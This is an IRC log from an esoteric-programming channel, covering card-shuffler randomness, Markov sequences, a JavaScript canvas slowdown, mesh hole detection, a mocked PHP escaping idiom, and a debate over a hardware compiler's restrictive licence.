06:15:24 <madbrain> simpler guess: the page is all bullshit
06:15:51 <Sgeo> I was just talking to their live support too, but closed out. Maybe tomorrow I'll bring this up to them, see what they say.
06:16:24 <Sgeo> "The “black box” shuffler is itself set within a totally secure system.
06:16:24 <Sgeo> The only thing which can enter our shuffler is a secure, coded request for a freshly shuffled deck of cards.
06:16:24 <Sgeo> The only thing which can come out of our shuffler is a shuffled deck of cards."
06:16:32 <madbrain> I'd guess they use some hardware source of randomness coupled with a statistically reliable programmatic RNG
06:16:33 <MDude> Random numbers are generated by a giant brain hooked up to the various computers via large cables sunk deep into it's frontal lobes.
06:19:23 <Sgeo> "Just to be sure, the Shuffler monitors the output of the RNG for randomness.
06:19:37 <Sgeo> What happens when, just randomly, the output looks non-random?
06:19:54 <Sgeo> Fails the statistical tests, or whatever.
06:20:39 <madbrain> if your test is good, the chaces of that are ridiculously low
06:21:06 <MDude> Pull out another number and xor them?
06:24:34 <madbrain> well, it's gotta have at least one source of real entropy
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06:26:13 <madbr> good luck predicting the cpu cycle counter's last bit on a server for instance
06:28:31 <MDude> Build two machine learning algorithms, there one tries to predict the output of the other, which itself attempts to avoid being predicted.
06:29:10 <madbr> just have them play rock paper scissors
06:29:50 <elliott> MDude: reminds me of that self-avoiding sequence i implemented
06:30:00 <MDude> I would but 3 isn't a power of 2.
06:30:23 <MDude> Ellitt: Neat, what did you implement it in/for?
06:31:27 <elliott> it was python for no real reason, and for: because <whatever name fax was using at the time> proposed it in-channel :P
06:31:40 <elliott> basically at each step it constructed a markov chain of increasing order from its existing output
06:31:51 <elliott> and then picked the /least/ likely bit to follow the $order bits it just outputted
06:32:33 <madbr> you could do it with burrows wheeler transform too I guess :D
06:33:14 <MDude> I'm not really familiar with the details of that kind of stuff.
06:33:23 <MDude> Like what order means exactly.
06:33:34 <MDude> But I'll need ot go to bed before learning up on it.
06:33:48 <elliott> order just means how many previous symbols you use
06:34:04 <elliott> a markov chain is just a map of $order previous symbols to every next symbol seen and its probability (relative to every sequence it's seen)
06:34:33 <MDude> I thought order had to do with the probabiltiy function somehow.
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07:16:48 <Sgeo> macroexpand does not in fact expand all macros
07:16:51 * Sgeo is not pleased.
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07:27:08 <zzo38> I did once think of "card dealing protocol", where the server does not need to know what game you are playing; however, all clients must know and will receive some information from the server whenever a card is dealt, and possibly private. Depending on the game, you might require all clients to check with the server after the game is finish, to know that you are not cheating.
07:33:16 <Sgeo> swank-backend:macroexpand-all works I guess
07:33:29 <Sgeo> I feel uneasy with the notion of using SWANK as a library
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07:47:00 <lambdabot> Supported dictionary-lookup commands:
07:47:00 <lambdabot> all-dicts devils easton elements foldoc gazetteer hitchcock jargon lojban vera web1913 wn world02
07:47:00 <lambdabot> Use "dict-help [cmd...]" for more.
07:47:06 <lambdabot> *** "swank" wn "WordNet (r) 3.0 (2006)"
07:47:06 <lambdabot> adj 1: imposingly fashionable and elegant; "a swank apartment"
07:47:06 <lambdabot> n 1: elegance by virtue of being fashionable [syn: {chic},
07:47:22 <lambdabot> {chicness}, {chichi}, {modishness}, {smartness},
07:47:23 <lambdabot> {stylishness}, {swank}, {last word}]
07:47:23 <lambdabot> v 1: display proudly; act ostentatiously or pretentiously; "he
07:47:23 <lambdabot> showed off his new sports car" [syn: {flaunt}, {flash},
07:48:35 <oerjan> something is wrong with my . translation
07:48:45 <elliott> oerjan: i wouldn't rely on fungot for things that aren't pure ascii
07:48:46 <fungot> elliott: the new fnord
07:49:14 <elliott> `addquote <fungot> elliott: the new fnord
07:49:15 <fungot> elliott: what is the point? nothing changed.
07:49:17 <oerjan> elliott: well irssi fallbacks to latin-1 or so
07:49:23 <HackEgo> 815) <fungot> elliott: the new fnord
07:49:32 <HackEgo> *poof* <fungot> elliott: the new fnord
07:49:33 <elliott> `addquote <fungot> elliott: the new fnord <fungot> elliott: what is the point? nothing changed.
07:49:33 <fungot> elliott: we're all like that. does that fit into the day i decide to use ' fdisk /dev/ hda
07:49:36 <HackEgo> 815) <fungot> elliott: the new fnord <fungot> elliott: what is the point? nothing changed.
07:49:45 <elliott> oerjan: yes but i still wouldn't trust it.
07:50:06 <oerjan> right the neighbors let out the dog, mental work immediately becomes impossible.
07:50:22 <oerjan> (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
07:50:52 <oerjan> in any case, i was just trying to print an 'a'
07:51:14 <oerjan> and some other character appeared instead. also the loop quit unexpectedly.
07:53:41 <oerjan> oh less shows it as <FF>
07:54:23 <elliott> oerjan: have you considered investing in earmuffs
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08:10:56 <oerjan> oh whoops i forgot that \ adds two 0's again
08:12:42 <oerjan> yay it printed the 'a'
08:12:54 <oerjan> but why did it still quit the loop
08:14:00 <Jafet> Someone should make a language called Lime Slices
08:18:01 <oerjan> yay ,[.] seems to be working
08:18:29 <Jafet> Hm, no one's named their language Sublime
08:19:39 <oerjan> now to add an extra , (it's not trivial because the first one cheats by having an already zeroed cell)
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08:33:23 <oerjan> http://oerjan.nvg.org/esoteric/qdeql/cat
08:34:11 <oerjan> elliott: i was thinking of doing one of the 3-cell bf constants
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08:42:12 <Taneb> I think Fueue is Turing-complete
08:47:17 <Taneb> As it has the capability for loops and decision-making, and has unbounded memory.
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09:04:28 <fizzie> elliott: I have been kinda-sorta asleep.
09:06:23 <elliott> fizzie: Yes, and you were TOO LATE.
09:06:39 <elliott> fizzie: I ended up dumping the stream on the Linode with mplayer, and playing the stream itself with VLC.
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09:10:10 <Sgeo> elliott, ...Ng and Ta aren't here, monqy UPDAte
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09:18:40 <elliott> http://supervillainornewt.com/
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09:25:59 <hagb4rd> > [x | a <- [2,3,5,7,11,13,17], b <- [1,3,4,6,7], x <- [a^b] ]
09:26:00 <lambdabot> [2,8,16,64,128,3,27,81,729,2187,5,125,625,15625,78125,7,343,2401,117649,823...
09:26:34 <hagb4rd> how do i make x the intersecting set of a and b?
09:27:52 <elliott> it's... not really clear what you want
09:28:01 <oerjan> elliott: last insane bug: writing "3-cell brainfuck" in a comment on top of the file
09:28:13 <elliott> > intersect [2,3,5] [1,3,5]
09:28:33 <elliott> hagb4rd: note that [x | ..., x <- [y]] === [y | ...]
09:28:46 <elliott> so in your expression you can skip the binding of "x" entirely
09:28:57 <elliott> (or alternatively replace the binding with "let x = a^b")
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09:52:31 <oerjan> http://oerjan.nvg.org/esoteric/qdeql/75
09:52:53 <oerjan> so all the parts have been tested
09:53:04 <elliott> i take it it's not yet automated?
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09:54:03 <elliott> * After the 1.19wmf1 deployment several people have complained about various aspects of the new diff styling
09:54:04 <elliott> -- The contrast being too low in the highlighted part (darker background behind bolded text)
09:54:04 <elliott> -- The colors not being obvious perhaps (orange/blue)
09:54:04 <elliott> -- Color blind users not seeing the difference very well between the light tones of the orange and blue
09:54:05 <elliott> -- Trevor mentioned something about W3C Accessibility guidelines
09:54:07 <elliott> To play it safe for now I think we should revert these changes to the status quo, and take the next few days (or weeks) to carefully check the concerns, perhaps look at other diff tools out there for inspiration (GitHub, Gerrit, LocalWiki, ..).
09:54:13 <elliott> WHY MUST YOU RUIN MY SHINY
09:54:41 <elliott> "A new patch is coming which will provide the same functionality as these changes did, but without breaking accessibility." yay
09:55:20 <elliott> oerjan: heh the new MW diffs are going to look like http://bug-attachment.wikimedia.org/attachment.cgi?id=10148
09:56:31 <lambdabot> Phantom_Hoover: You have 1 new message. '/msg lambdabot @messages' to read it.
09:58:14 <elliott> oerjan: oh i lie, the borders will only be on the side
09:58:22 <elliott> hope this is a sufficiently disconcerting change
09:58:40 <coppro> elliott: is there a loggrep in one of these bots?
09:58:56 <coppro> I'm looking for that link you posted a while back to the BBC radiophonic workshop sound sampley thingy
09:59:15 <elliott> though pastlog is more useful (ignores today)
09:59:28 * elliott isn't sure which link you're referring to
09:59:40 <coppro> elliott: it was a flash application on the bbc site I think
10:00:00 <coppro> oh wait what have i done
10:00:05 <HackEgo> 2008-11-05.txt:02:46:55: <Slereah> The BBC is a pretty cool guy
10:00:13 <HackEgo> 2010-08-21.txt:17:05:32: <alise> http://www.bbc.co.uk/news/world-europe-11049316
10:00:14 <elliott> `pastelogs http://bbc\.co\.uk\b
10:00:22 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.15060
10:00:32 <elliott> (takes a few seconds to populate)
10:00:59 <elliott> `pastelogs http://bbc\.co\.uk
10:01:07 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.6261
10:01:15 <elliott> `pastelogs http://(www\.)?bbc\.co\.uk
10:01:23 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.18773
10:01:50 <elliott> I see news-ham is adequately represented
10:02:51 <elliott> i like how it was ph and not me
10:04:13 <coppro> yeah I thought it was you
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10:23:43 <oerjan> in the news: elliott still ham-fisted
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10:47:18 <fizzie> Oh, I had somehow gotten the notion that pastlog's randomization was weighted to bias older entries, but apparently it indeed is just "ignore last day".
10:48:50 <elliott> We don't do fancy things like that here
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10:49:51 <fizzie> "You have completed 5/10 questions. Your score is 100%." I doubt I can keep this up, though.
10:51:15 <fizzie> 8/10 correct in the end.
10:54:46 <fizzie> elliott's supervillainornewt.com link.
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10:57:07 <olsner> http://www.youtube.com/watch?v=OvW2xeSn4As
10:57:09 <olsner> Fearsome Flying Jacob - Regular Ordinary Swedish Meal Time
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11:00:24 <elliott> Phantom_Hoover: How do you do on that thing?
11:05:01 <Vorpal> well I got 5/10 at least. I'm very surprised some of those ideas weren't from super villains. Or maybe they were: Arguably that man is nuts...
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13:44:32 <oklodol> i retract my ens because apparently you are a fuckface.
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14:31:19 -!- elliott has set topic: Four loko biodiesel eu raw denim butcher hoodie. | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
14:31:37 -!- elliott has set topic: Four loko biodiesel eu raw denim butcher hoodie. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
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16:01:09 <ais523> so, to recall a conversation from ages ago, I figured out how to make highlight work together with less and lesspipe
16:01:38 <ais523> just write 'highlight -A "$1" 2>/dev/null' in ~/.lessfilter, and chmod it executable
16:03:19 <ais523> lesspipe calls ~/.lessfilter, and if it errors out, lesspipe handles the error itself (by falling back to what it would have done anyway), so you don't have to handle lesspipe failing
17:32:22 <oklodol> so i have to program this fuckload of crap today and i'm like hey the day is young
17:32:31 <oklodol> then i realized i have to get on the bus at 0300
17:32:53 <oklodol> so i have 8 hours to program everything in the universe and get ready (that is, grab my laptop)
17:34:10 <oklodol> also my passport will expire in like a month, do you know if they care about that at the airport, i just heard they do in some third-world countries
17:34:48 <oklodol> i'm coming through london which i guess is pretty much a bonsai somalia
17:35:04 <oklodol> (yes, #esoteric is my google)
17:36:18 <fizzie> ISTR that mostly for the EU region it's enough that it doesn't expire during the trip, but I could well be worng.
17:37:24 <elliott> More like: doesn't expire during: the TRIP.
17:37:38 <elliott> I expired during the trip, once.
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18:48:15 <Vorpal> If I have a complex polygonal model (say, a room in a 3D game), is there any algorithm to figure out if there are any holes in said room. I presume you could do it by defining a point that you know is outside and one that you know is inside and checking if you can connect them or not, but is there any efficient algorithms for that?
18:57:53 <Vorpal> Checking that every edge connects to another edge wouldn't work: You can have a surface that is inside the room but not connected on one corner. (For example, the leaves of a plant inside the room would have this property)
18:59:17 <Taneb> And the algorithm you suggested won't work if there's a closed box in the room
18:59:40 <Vorpal> Taneb, the one with outside and inside point?
19:00:13 <Friendship> Um, you'd have to have one amazingly broken pathfinding algo for that to be true ...
19:00:30 <Taneb> If the inside point is inside the box, there'll be no path at all, even if there is a hole in the room
19:00:44 <Friendship> The box is the room of that inner point.
19:00:49 <Vorpal> Taneb, the inside and outside points would have to be manually placed to be sane though
19:01:00 <Taneb> By what algorithm?
19:01:15 <Taneb> I'd assume you want this to be as automated as possible
19:01:21 <Friendship> The inner point, if this is in a game, would presumably be where the character is.
19:01:25 <Friendship> The outer point may be more difficult.
19:01:26 <Vorpal> I'm not aiming to solve the problem of detecting which one is outside and which one is inside. Just if given an inside an an outside, is there a path between them or not
19:02:45 <Vorpal> Friendship, I believe for my purpose I could just do something like "inside is defined as the room spawn marker and outside we set to something like 9999,9999,9999"
19:03:03 <elliott> Friendship: I hate you so much.
19:03:04 <Vorpal> that point is unlikely to be inside, and if it was it would just be a false positive
19:03:28 <Taneb> Or a potentially false negative, if it's in a box
19:03:53 <Taneb> I suspect Vorpal may not
19:03:59 <zzo38> Why do you want to know if there are holes in the room?
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19:05:10 <Taneb> Okay, let's assume for convinience, well chosen points
19:05:11 <Vorpal> zzo38, to be able to automatically find areas that need fixing.
19:05:42 <elliott> Friendship: I'm spending my time writing JavaScript. I'm spending my time *optimising* JavaScript.
19:05:47 <elliott> This is not the life I was meant to lead and it's all your fault.
19:06:27 <Taneb> elliott: create a Haskell to JavaScript compiler.
19:06:42 <zzo38> I think such a thing Haskell->JavaScript exists.
19:06:51 <Vorpal> hm, wasn't there some early FPS that did this before writing out levels created in the editor? Quake or some such... Might be worth looking at that.
19:06:54 <elliott> Taneb: That would not make it go fast.
19:07:12 <Taneb> elliott: be amazing at writing Haskell to JavaScript compilers
19:07:30 <elliott> Friendship: The best part about JavaScript and O(n) algorithms is, n has to be under 500 or so, or you're fucked.
19:07:31 <zzo38> But depending on what you are doing, you might not need JavaScripts at all and can use native codes
19:07:49 <Friendship> elliott: Naw, you just roll your own CPS ^^
19:07:51 <elliott> Friendship: So, you know... it's completely obliterated and obsoleted the field of complexity analysis.
19:08:02 <elliott> Who cares any more? It just has to be under O(500).
19:08:13 <elliott> Friendship: CPS? I'm not running out of stack, it's just slow as shit.
19:08:23 <Friendship> elliott: You use CPS so that you can yield to the browser.
19:08:39 <elliott> Friendship: But the problem is that my tight loop isn't going fast enough to display smoothly.
19:08:49 <elliott> That will just give the browser more time to not display the next frame.
19:08:53 <Vorpal> the source was released for quake right?
19:09:40 <zzo38> If it is going to be slow like that, don't put it on a webpage. Write a C or Haskell code which can be downloaded and compiled and operated locally.
19:09:41 <Taneb> I believe so, Vorpal
19:10:18 <zzo38> I expect a native code to run faster.
19:10:29 <Vorpal> Taneb, this problem is quite similar, not exactly the same, and I'm not sure if it depends on how the level is built up or not https://en.wikipedia.org/wiki/Quake_engine#Reducing_3D_complexity_to_increase_speed
19:10:39 <elliott> Friendship: V8 *should* be ripping this to shreds, I think the problem is that I'm doing canvas operations inside my loop.
19:10:48 <Taneb> Vorpal, any non-wikipedia links?
19:10:54 <elliott> Friendship: Maybe I'll have a tight loop doing all the maths and another loop doing the canvas shit, so that the first one can be optimised out.
19:11:15 <Vorpal> Taneb, specifically it seems it used convex 3D models to make up the environment, mine might not be convex.
19:11:33 <Taneb> I was challenged by a friend.
19:11:53 <Taneb> To not go on Wikipedia until Easter
19:12:10 <Vorpal> And I don't know any. Someone should add "[citation needed]" there
19:12:18 <Vorpal> since it doesn't cite anything on that paragraph
19:12:25 <elliott> Taneb: What do you think of this new esolang? http://esolangs.org/wiki/Abacompute
19:12:44 <Slereah> I read that as ABBA compute
19:12:50 <Taneb> I think it's a veil to make me lose my challenge
19:12:58 <Slereah> You are the dancing queen!
19:13:06 <elliott> Taneb: It's on the wiki, man.
19:13:17 <Taneb> Especially as searching the wiki for that name yields no results
19:14:34 <Vorpal> elliott, besides he said wikipedia not any wiki in general
19:15:18 <Taneb> It's an empty page
19:15:29 <elliott> Oh, fuck, not that problem again
19:15:40 <Vorpal> elliott, for me it says the page doesn't exist
19:15:56 <Vorpal> okay now it redirects, what?
19:16:08 <elliott> Pfft, you're imagining things.
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19:16:18 <Vorpal> I wasn't aware #REDIRECT or whatever it is called worked to another wiki
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19:18:22 <elliott> I wonder if you fail lent if you, e.g. decided to give up chocolate but someone decides to force-feed you chocolate.
19:18:35 <elliott> Thus foiling my devious plan :'(
19:22:51 <elliott> Friendship: Aha, splitting the two loops worked perfectly.
19:22:59 <elliott> Well, to a degree, anyway.
19:24:09 <Phantom_Hoover> <Vorpal> I wasn't aware #REDIRECT or whatever it is called worked to another wiki
19:27:33 <elliott> It has been 0 days since etc.
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19:34:41 <elliott> Friendship: "This is one thing that I really like about JavaScript: You can write a three line function for a trivial operation and still need 800 words to explain its true nature."
19:34:52 <elliott> Friendship: So, I'm beginning to suspect that John Resig is just really high, all the time.
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19:40:13 <elliott> Friendship: So, why is the canvas API so terrible?
19:41:23 -!- augur has quit (Remote host closed the connection).
19:44:26 <elliott> Friendship: Like everyone else didn't bolt on crap too.
19:46:13 <Friendship> Only Apple nailed the apple-flavored jelly to the JS/DOM tree.
19:46:23 <elliott> Is it even possible to get the rendered contents of a canvas as a bitmap object and blit it into another one?
19:46:26 <elliott> I want to cache this shit.
19:48:06 <elliott> Okay. Is there a better way to find out how than blindly gawking at Mozilla's impossible wiki docs?
19:59:10 <zzo38> Oops! How are you supposed to play Hero Hearts if the hearts are upsidedown?
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20:27:35 <myndzi> elliott: i seem to recall it wasn't too bad, but i never implemented it haha
20:34:21 <Vorpal> <elliott> Friendship: "This is one thing that I really like about JavaScript: You can write a three line function for a trivial operation and still need 800 words to explain its true nature." <-- that is trivial in any language that doesn't require line breaks for parsing...
20:37:26 <elliott> <Vorpal> Hurr what is line
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20:47:57 <zzo38> Is there such a thing as "failing Lent"?
20:49:58 <zzo38> Vorpal: The period of time between Ash Wednesday and Easter Sunday.
20:50:01 <Vorpal> (apart from past tense of "lend" with a capital letter at the beginning of the word)
20:50:22 <shachaf> Lent is a bad habit that people find very difficult to give up.
20:50:35 <elliott> `addquote <shachaf> Lent is a bad habit that people find very difficult to give up.
20:50:41 <HackEgo> 816) <shachaf> Lent is a bad habit that people find very difficult to give up.
20:52:11 <Vorpal> Oh, "Lent" is the same as "fasta" in Swedish.
20:52:23 <monqy> is that anything like pasta
20:52:28 <elliott> apparently this is a thing people actually do in PHP: extract(array_map("mysql_real_escape_string", get_defined_vars()));
20:52:30 <Vorpal> monqy, no it is like fasting.
20:52:38 <shachaf> Don't be silly. Pasta isn't Swedish.
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20:52:49 <elliott> 10 points to the first person to explain what it does
20:53:06 <Vorpal> elliott, is that +10 or -10?
20:53:29 <shachaf> elliott: What it does or what it's meant to do?
20:53:39 <Vorpal> elliott, if you tell me what "get_defined_vars()" does I can tell you what the whole does
20:53:43 <monqy> it is also meant to do php
20:53:53 <Vorpal> I just hope it isn't as stupid as it seems, knowing php devs it probably is
20:54:12 <Sgeo> Something to do with putting slashes in all variable contents?
20:54:28 <elliott> Vorpal: It gets the defined vars.
20:54:46 <elliott> Hint: extract is the inverse.
20:55:08 <Vorpal> elliott, so it changes every variable in the program to be mysql-escaped?
20:55:13 <elliott> In the local scope, I think.
20:55:25 <elliott> slightly_less_magic_quotes
20:55:44 <Vorpal> I don't understand why anyone would not simply send the data as bound parameters.
20:55:58 <Sgeo> Vorpal, because PHP doesn't come with that?
20:56:09 <Vorpal> you know, "select * from foo where name = ?" or whatever and then bind that
20:56:15 <Sgeo> Actually, the PHP installation we used in class did, so
20:56:23 <Sgeo> (Although the teacher certainly never showed us)
20:56:32 <elliott> Vorpal: PHP couldn't do that back ages ago.
20:56:38 <Vorpal> Sgeo, pretty sure there is some database API of php that does that
20:56:44 <zzo38> Does MySQL and/or PHP support these kind of SQL parameters binding?
20:57:48 <Vorpal> I seem to remember using php and psql bindings, I just currently can't think of a reason I would /have/ that memory. Sure I have been forced to use php a few times (mostly when trying to fix something in a bug tracker or wiki software) but usually you had to use mysql as well then
20:58:00 <Vorpal> so why do I remember using psql and php? Weird.
20:59:16 <elliott> I've been doing some PHP lately. It's... uh...
20:59:31 <Vorpal> it is a bit like perl, but far worse.
21:00:09 <Vorpal> (And as you probably know by now, I'm not exactly a fan of perl.)
21:00:21 <Vorpal> though actually, it is bad for different reasons than perl
21:01:08 <zzo38> I think in a few ways, PHP is like Perl but worse.
21:01:35 <elliott> Nah, Perl is a really great, rich language, in the relative scale. PHP is a 64 kbps MP3 rip of Perl from 2001.
21:02:13 <Vorpal> I can't argue with "rich language" certainly
21:03:11 <elliott> PHP is like if Perl was a complex three-dimensional object and somebody took a photograph of it, so all the depth perception was ruined, then they asked an almost-blind person to recreate the original object with their feet based on that photograph.
21:03:15 <zzo38> I have written my own SQL templating program; currently it only works with SQLite but you can modify it to work with other SQL system if you want to. I have written a separate program to make it work with CGI, since the SQL templating program itself cannot use CGI. Both programs are written in C.
21:03:34 <zzo38> elliott: O, yes, OK.
21:03:55 <ion> elliott: Well said. :-D
21:04:42 <elliott> Then they stole the OOP sculpture from the Java building and just plonked it on top.
21:04:50 <monqy> perl has $s in front of stuff and php does too. they're basically the same language.
21:05:08 <Vorpal> I don't think I ever used the OOP features thankfully
21:05:19 <zzo38> monqy: In that case you understand neither Perl nor PHP......
21:05:39 <Vorpal> monqy, I always found the $ in front of a lot of stuff to be rather ugly
21:06:15 <zzo38> Vorpal: I have used the object oriented features in PHP as a substitute for partially applied functions
21:06:38 <ion> > let a = 42 in show $a
21:06:53 <elliott> > let ($a) = 42 in show ($a)
21:06:54 <lambdabot> <no location info>: Parse error in pattern
21:07:06 <elliott> > let _$a = 42 in show ($a)
21:07:07 <lambdabot> Overlapping instances for GHC.Show.Show (t -> t1)
21:07:47 <elliott> > let f$a = f 42 in show $a
21:09:30 <zzo38> Do you believe me?
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21:34:39 <Sgeo> Note: I mentioned this place in another channel. Be ware.
21:36:10 <Sgeo> Someone was talking about how they thought Freenode was "enabling" Christians by allowing channels like #jesus to stay with one #
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21:36:39 <Sgeo> "Sgeo: how refreshing to see you talk about something other than whatever the heck homestuck is"
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21:36:56 -!- Friendship has set topic: The international hub for exoteric voodoo programming and astral software projection. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
21:37:01 -!- Friendship has set topic: The international hub for exoteric voodoo programming and astral software projection. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
21:37:04 -!- Friendship has set topic: The international hub for exoteric voodoo programming and astral software projection. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
21:37:27 <elliott> What the fuck are you doing
21:37:39 <elliott> `addquote <Sgeo> "Sgeo: how refreshing to see you talk about something other than whatever the heck homestuck is"
21:37:43 <HackEgo> 817) <Sgeo> "Sgeo: how refreshing to see you talk about something other than whatever the heck homestuck is"
21:37:44 <Friendship> Apparently my client went "Once? I think you mean thrice."
21:37:54 -!- elliott has set topic: Go away | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers! Fuck you!.
21:38:22 <ais523> perhaps I should put the gosc stuff in the topic
21:38:38 -!- Friendship has set topic: Gosc away | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers! Fuck you!.
21:38:55 <ais523> elliott: btw, they're counting views of the license page as downloads of the software, because they don't host it themselves and are using google analytics in an attempt to count downloads indirectly
21:39:22 <elliott> ais523: well, I viewed the license page at least twice for my one download (which was not under the license)
21:39:45 <ais523> hmm, you'll probably cancel out me
21:39:54 <ais523> admittedly, I've never downloaded the software from there because I haven't needed to
21:40:02 <Sgeo> What software?
21:40:06 <ais523> Sgeo: https://sites.google.com/site/thegeometryofsynthesis/
21:40:11 <ais523> admire the beatifully well-designed website
21:41:20 <elliott> I wish I paid taxes so I could be indignant about my taxes funding a work licensed in a way that severely restricts my use of it.
21:41:53 <Sgeo> What... is it, exactly?
21:41:59 <Sgeo> Some sort of language?
21:42:04 <ais523> Sgeo: it's a compiler from Verity to VHDL
21:42:26 <Sgeo> Ah. I know vaguely what VHDL is, but not Verity
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21:42:47 <ais523> right, because we invented Verity for the purpose
21:42:57 <ais523> it's a call-by-name higher-order statically-typed language
21:43:07 <ais523> which is really an Algol variant, but in disguise
21:43:45 <elliott> Sgeo: Search for "gosc.tgz" to download it without agreeing to the license.
21:43:51 <elliott> Then you can look at the example programs.
21:44:02 <ais523> elliott: but the example programs are very permissively licensed
21:44:39 <elliott> ais523: Did the University grant you permission to license them in that way? If so, why not the rest of the package?
21:44:42 <elliott> Anyway, it's the principle of the thing.
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21:45:05 <elliott> [[In the event of a dispute arising from or relating to this Agreement the Parties will attempt to settle it by mediation in accordance with the Centre for Effective Dispute Resolution (“CEDR”) Model Mediation Procedure. Unless otherwise agreed between the Parties, the mediator will be nominated by CEDR. To initiate the mediation a Party must give notice in writing (“ADR notice”) to the other Party to the dispute requesting mediation.
21:45:05 <elliott> A copy of the request should be sent to CEDR. The mediation will not start later than 30 days after the date of the ADR notice.]]
21:45:20 <elliott> ais523: How much will it personally inconvenience you if I try and annoy them with this?
21:45:32 <ais523> elliott: it's licensed so as to retain the ability to commercialise
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21:48:24 <elliott> Phantom_Hoover: Someone gotta pay them so I can use them as a platform for indignancy wrt ais523's compiler's licensing.
21:48:59 <ais523> Phantom_Hoover: it's a crazy EULA
21:49:11 <ais523> I told the lawyers about the obvious contradictions and I fixed them
21:49:24 <ais523> it's a licence agreement
21:49:33 <elliott> Phantom_Hoover: It doesn't just restrict your ability to redistribute derivatives.
21:49:37 <elliott> Phantom_Hoover: It restricts your ability to *make* them.
21:50:05 <elliott> They have to be for "academic teaching" or "non-commercial research" purposes.
21:50:13 <elliott> ais523: (ii) You many make derivative works for the purposes of non-commercial research.
21:50:32 <elliott> oh, I guess you noticed that
21:50:47 <ais523> I still think "LICENCE.rtf" is the best one
21:50:58 <elliott> hmm, I bet the easiest way to get this under a reasonable license would be to sabotage all attempts at commercialisation
21:50:59 <ais523> I asked if I should rename the file, but meh
21:51:03 <elliott> who wants to help me spread FUD about hardware compilers?
21:51:07 <ais523> I /did/ turn the executable bit off, though
21:51:37 <ais523> elliott: what you do is you sell it to Xilinx and Altera for a fortune
21:51:41 <ais523> /then/ you opensource it :)
21:51:55 <ais523> (note: probably wouldn't work in practice)
21:52:04 <elliott> maybe I'll write my own Verity implementation
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21:52:24 <ais523> feel free; I recommend that you GPLv3 it
21:52:36 <ais523> (v3 is very important in this context, for reasons that I hope are obvious)
21:53:05 <zzo38> Yes I agree, make GPLv3
21:53:53 <zzo38> Is there FPGA which does not support encryption, and that has open specification?
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23:29:47 <ais523> bleh, why doesn't tab-complete work in mkdir for the name of the new directory
23:30:11 <oerjan> `addquote <ais523> bleh, why doesn't tab-complete work in mkdir for the name of the new directory
23:30:14 <HackEgo> 818) <ais523> bleh, why doesn't tab-complete work in mkdir for the name of the new directory
23:30:28 <ais523> it was a rhetorical question :)
23:33:34 <olsner> I ask the same question every time I mkdir
23:34:48 <oerjan> imagine a world in which it _did_ work.
23:38:56 <olsner> since that system could just figure out the whole command for you, all you need to do is press tab and enter, tab enter, tab enter until you're done
23:41:58 <oerjan> <zzo38> Oops! How are you supposed to play Hero Hearts if the hearts are upsidedown? <-- play villain hearts duh
23:43:02 <olsner> if the hearts are upside down, it's hero butts?
23:44:36 <oerjan> well the villains tend to be the butt of the joke
23:50:03 <oerjan> new mezzacotta blog posts! it's only been 1 1/2 years!
00:05:16 <oerjan> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
00:05:21 <oerjan> stay and hate us instead
00:05:56 <oklopol> if spain is as boring as it sounds, i'll probably come back tomorrow
00:06:17 -!- oklopol has quit.
00:06:17 <oerjan> well have a good trip then
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00:13:16 <ais523> the treadmill on wheels thing is ridiculous :)
00:13:33 <ais523> it took me a while to figure out if it'd go forwards or backwards
00:13:51 <ais523> (forwards if the wheels rub against the treadmill belt, backwards if they're connected to the treadmill's rollers)
00:16:31 * oerjan recalls there was a treadmill accident in terry pratchett's Eric, i think it may have been caused by the Luggage getting on it
00:16:50 <oerjan> i don't recall if it went backwards or forwards
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00:29:01 -!- oerjan has set topic: Gsoc away | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers! Fuck you!.
00:29:09 <oerjan> i hear it's all the rage
00:29:51 <oerjan> wait, what _was_ gosc again.
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00:49:16 <Sgeo_> oerjan, thingy to VHDL translatior
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02:08:44 <oerjan> the clock is ticking to the end
02:15:08 <Sgeo_> 0 minutes to midnight.
02:16:06 <oerjan> `frink light year / (38000 miles / hour)
02:16:24 <HackEgo> 5.5691050870714991331e+11 s (time)
02:16:38 <oerjan> `frink light year / (38000 miles / hour) -> years
02:17:23 <oerjan> voyager 1 isn't approaching anywhere new in a while
02:17:54 <oerjan> (http://www.aljazeera.com/indepth/opinion/2012/02/2012228912705553.html)
02:18:19 <Sgeo_> This C API has sort of an implicit global variable. If I replace that with a CL global variable, I think that's actually thread-safer, because each thread maintains its own copy of the variable?
02:18:59 <oerjan> i have no idea if common lisp does that, but it sounds weird
02:20:38 <Jafet> `frink c / (38000 miles / hour)
02:20:47 <HackEgo> 3747405725/212344 (approx. 17647.80603643145)
02:21:07 <HackEgo> 299792458 m s^-1 (velocity)
02:22:56 <Sgeo_> It might be implementation dependent
02:28:22 <oerjan> `frink 30 years * 38000 miles / hour -> light hours
02:33:53 * oerjan reads that article's point about inbreeding and thinks that an interstellar mission needs to bring a large sperm / egg bank
02:34:03 <Jafet> Who knows, there could be aliens RIGHT IN THE KUIPER BELT
02:34:49 <oerjan> Jafet: waiting for humanity to reach outside the solar system before they violate their prime directive, or something
02:35:54 <Jafet> http://www.terrybisson.com/page6/page6.html
02:40:29 <Jafet> Also, inbreeding amplifies latent mutant powers
02:42:08 <ion> I can move my arms with the power of my mind.
02:42:19 <oerjan> there _are_ some surprisingly healthy inbred villages, but they've presumably been noticed because they're so rare
02:42:49 <oerjan> that is, you need to have the luck _not_ to have any major diseases in your pool.
02:43:32 <oerjan> there was this one in italy i read about, don't remember exactly where
02:44:06 <oerjan> with long life spans despite not living unusually healthy
02:44:19 <ion> “Where are you in the family digraph?”
